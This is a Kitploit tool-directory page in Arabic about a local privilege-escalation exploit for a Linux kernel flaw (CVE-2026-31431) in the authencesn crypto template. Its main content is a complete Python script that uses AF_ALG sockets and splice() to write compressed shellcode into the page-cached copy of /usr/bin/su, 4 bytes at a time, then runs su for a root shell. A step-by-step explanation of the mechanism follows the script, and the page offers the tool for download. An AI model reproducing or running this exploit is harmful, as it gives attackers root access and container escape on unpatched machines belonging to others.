Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CopyFile_CVE-2026-31431 — استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-31431، حيث يقوم بإفساد ملفات setuid الثنائية في ذاكرة التخزين المؤقت للصفحات عبر AF_ALG وsplice للحصول على صلاحيات الجذر (root shell). | Kitploit
أدوات/GitHubGitHub/dgrobinson0/copyfile_cve-2026-31431
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubdgrobinson0/copyfile_cve-2026-31431

CopyFile_CVE-2026-31431

استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-31431، حيث يقوم بإفساد ملفات setuid الثنائية في ذاكرة التخزين المؤقت للصفحات عبر AF_ALG وsplice للحصول على صلاحيات الجذر (root shell).

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CopyFile_CVE-2026-31431

en es


خطأ النسخ (CVE-2026-31431) – استغلال تصعيد الامتيازات المحلية

خطأ منطقي في قالب AEAD authencesn في نواة لينكس يسمح لمستخدم غير مميز بكتابة 4 بايتات مُتحكم بها في ذاكرة التخزين المؤقت للصفحات لأي ملف قابل للقراءة.

يقوم سكربت بايثون المقدم بإتلاف /usr/bin/su في الذاكرة ويُنشئ شل صلاحيات الجذر (root).

نظرة عامة على الثغرة الأمنية

CVE-2026-31431 هي ثغرة أمنية في النظام الفرعي للتشفير في نواة لينكس، وتحديدًا في قالب authencesn (AEAD مع رقم تسلسلي ممتد) مقترنًا بواجهة المقبس AF_ALG واستدعاء النظام splice().

  • السبب الجذري: تستخدم روتين فك التشفير authencesn قائمة التشتت الوجهة كمساحة مؤقتة، مما يكتب 4 بايتات تتجاوز منطقة الإخراج المشروعة. عندما يقوم AF_ALG بعملية AEAD في الموقع ويوفر splice() صفحات من ذاكرة التخزين المؤقت للصفحات (مثلًا، من ملف ثنائي setuid) كعلامة مصادقة، فإن الكتابة خارج الحدود تهبط مباشرة في النسخة المخزنة مؤقتًا في النواة من ذلك الملف.

  • التأثير: يمكن لمهاجم محلي غير مميز الكتابة فوق أي موقع محاذى لـ 4 بايتات في أي ملف يمكنه قراءته. يحدث التلف فقط في ذاكرة التخزين المؤقت للصفحات؛ يبقى الملف على القرص دون تغيير، متجاوزًا فحوصات سلامة الملفات.

  • الأثر: من خلال الكتابة فوق ملف ثنائي setuid (مثلًا، /usr/bin/su) بكود شل، يمكن للمهاجم تنفيذ الملف الثنائي والحصول على شل صلاحيات الجذر. تعمل نفس الآلية عبر حاويات مختلفة لأن ذاكرة التخزين المؤقت للصفحات مشتركة مع المضيف.

كود الاستغلال (exploi-copyfail.py)

الاستغلال هو سكربت بايثون واحد بحجم 732 بايت يستخدم فقط المكتبة القياسية (os, socket, zlib). يعمل على أي توزيعة لينكس بإصدارات نواة من 2017 حتى 2026 (قبل التصحيح).

root@kitploit:~
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i + 4])
    i += 4

g.system("su")

كيف يعمل

  • الإعداد: يتم فتح مقبس AF_ALG مرتبط بـ authencesn(hmac(sha256),cbc(aes))، ويتم تعيين مفتاح وهمي وقبول طلب.

  • الحمولة: يتم تقسيم كود الشل (المفكوك ضغطه من الكتلة السداسية العشرية) إلى أجزاء من 4 بايتات.

  • حلقة التلف: لكل جزء:

    • يوفر sendmsg() البيانات المصادق عليها المرتبطة (AAD). تحتوي البايتات من 4 إلى 7 من AAD على الـ 4 بايتات التي يجب كتابتها.

    • يُدخل splice() جزءًا من /usr/bin/su (الملف الثنائي setuid المستهدف) في قائمة التشتت TX للمقبس. يتم اختيار الإزاحة والطول بحيث تقع منطقة علامة المصادقة في العنوان المستهدف داخل قسم .text في الملف الثنائي.

    • يُفعّل recv() فك تشفير AEAD، ويكتب authencesn الجزء المكون من 4 بايتات في ذاكرة التخزين المؤقت للصفحات من /usr/bin/su. يفشل HMAC، لكن الكتابة تبقى.

  • التنفيذ: بعد كتابة جميع الأجزاء، ينفذ السكربت su. نظرًا لأن النسخة المخزنة مؤقتًا تحتوي الآن على كود شل، يتم تنفيذ su بصلاحيات الجذر ويفتح شل.


تنزيل الأداة